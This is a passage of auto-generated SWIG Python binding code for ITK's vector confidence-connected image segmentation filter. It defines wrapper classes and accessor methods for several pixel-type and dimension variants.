return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF33IUS3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF33IUS3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF33IUS3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF33IUS3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF33IUS3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF33IUS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF33IUS3
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF33IUS3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF33IUS3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF33IUS3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF33IUS3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF33IUS3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_Clone, None, itkVectorConfidenceConnectedImageFilterIVF33IUS3)
itkVectorConfidenceConnectedImageFilterIVF33IUS3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF33IUS3)
itkVectorConfidenceConnectedImageFilterIVF33IUS3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF33IUS3)
itkVectorConfidenceConnectedImageFilterIVF33IUS3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF33IUS3)
itkVectorConfidenceConnectedImageFilterIVF33IUS3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF33IUS3)
itkVectorConfidenceConnectedImageFilterIVF33IUS3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF33IUS3)
itkVectorConfidenceConnectedImageFilterIVF33IUS3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF33IUS3)
itkVectorConfidenceConnectedImageFilterIVF33IUS3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF33IUS3)
itkVectorConfidenceConnectedImageFilterIVF33IUS3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF33IUS3)
itkVectorConfidenceConnectedImageFilterIVF33IUS3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF33IUS3)
itkVectorConfidenceConnectedImageFilterIVF33IUS3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF33IUS3)
itkVectorConfidenceConnectedImageFilterIVF33IUS3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF33IUS3)
itkVectorConfidenceConnectedImageFilterIVF33IUS3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF33IUS3)
itkVectorConfidenceConnectedImageFilterIVF33IUS3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF33IUS3)
itkVectorConfidenceConnectedImageFilterIVF33IUS3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF33IUS3)
itkVectorConfidenceConnectedImageFilterIVF33IUS3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF33IUS3)
itkVectorConfidenceConnectedImageFilterIVF33IUS3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_swigregister
itkVectorConfidenceConnectedImageFilterIVF33IUS3_swigregister(itkVectorConfidenceConnectedImageFilterIVF33IUS3)
def itkVectorConfidenceConnectedImageFilterIVF33IUS3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF33IUS3_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF33IUS3___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF33IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF33IUS3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF33IUS3 *":
"""itkVectorConfidenceConnectedImageFilterIVF33IUS3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF33IUS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF33IUS3_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF42ISS2(itkImageToImageFilterBPython.itkImageToImageFilterIVF42ISS2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF42ISS2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF42ISS2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF42ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF42ISS2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF42ISS2 self) -> itkVectorConfidenceConnectedImageFilterIVF42ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF42ISS2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF42ISS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF42ISS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF42ISS2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF42ISS2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF42ISS2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF42ISS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF42ISS2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF42ISS2 self, short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF42ISS2 self) -> short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF42ISS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF42ISS2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF42ISS2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF42ISS2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF42ISS2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF42ISS2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF42ISS2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF42ISS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF42ISS2
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF42ISS2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF42ISS2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF42ISS2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF42ISS2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF42ISS2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_Clone, None, itkVectorConfidenceConnectedImageFilterIVF42ISS2)
itkVectorConfidenceConnectedImageFilterIVF42ISS2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF42ISS2)
itkVectorConfidenceConnectedImageFilterIVF42ISS2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF42ISS2)
itkVectorConfidenceConnectedImageFilterIVF42ISS2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF42ISS2)
itkVectorConfidenceConnectedImageFilterIVF42ISS2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF42ISS2)
itkVectorConfidenceConnectedImageFilterIVF42ISS2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF42ISS2)
itkVectorConfidenceConnectedImageFilterIVF42ISS2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF42ISS2)
itkVectorConfidenceConnectedImageFilterIVF42ISS2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF42ISS2)
itkVectorConfidenceConnectedImageFilterIVF42ISS2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF42ISS2)
itkVectorConfidenceConnectedImageFilterIVF42ISS2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF42ISS2)
itkVectorConfidenceConnectedImageFilterIVF42ISS2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF42ISS2)
itkVectorConfidenceConnectedImageFilterIVF42ISS2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF42ISS2)
itkVectorConfidenceConnectedImageFilterIVF42ISS2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF42ISS2)
itkVectorConfidenceConnectedImageFilterIVF42ISS2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF42ISS2)
itkVectorConfidenceConnectedImageFilterIVF42ISS2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF42ISS2)
itkVectorConfidenceConnectedImageFilterIVF42ISS2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF42ISS2)
itkVectorConfidenceConnectedImageFilterIVF42ISS2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_swigregister
itkVectorConfidenceConnectedImageFilterIVF42ISS2_swigregister(itkVectorConfidenceConnectedImageFilterIVF42ISS2)
def itkVectorConfidenceConnectedImageFilterIVF42ISS2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF42ISS2_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF42ISS2___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF42ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF42ISS2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF42ISS2 *":
"""itkVectorConfidenceConnectedImageFilterIVF42ISS2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF42ISS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42ISS2_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF42IUC2(itkImageToImageFilterBPython.itkImageToImageFilterIVF42IUC2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF42IUC2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF42IUC2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF42IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF42IUC2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF42IUC2 self) -> itkVectorConfidenceConnectedImageFilterIVF42IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF42IUC2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF42IUC2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF42IUC2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF42IUC2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF42IUC2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF42IUC2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF42IUC2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF42IUC2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned char const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF42IUC2 self, unsigned char const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned char":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF42IUC2 self) -> unsigned char"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF42IUC2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF42IUC2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF42IUC2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF42IUC2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF42IUC2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF42IUC2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF42IUC2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF42IUC2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF42IUC2
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF42IUC2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF42IUC2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF42IUC2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF42IUC2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF42IUC2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_Clone, None, itkVectorConfidenceConnectedImageFilterIVF42IUC2)
itkVectorConfidenceConnectedImageFilterIVF42IUC2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF42IUC2)
itkVectorConfidenceConnectedImageFilterIVF42IUC2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF42IUC2)
itkVectorConfidenceConnectedImageFilterIVF42IUC2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF42IUC2)
itkVectorConfidenceConnectedImageFilterIVF42IUC2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF42IUC2)
itkVectorConfidenceConnectedImageFilterIVF42IUC2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF42IUC2)
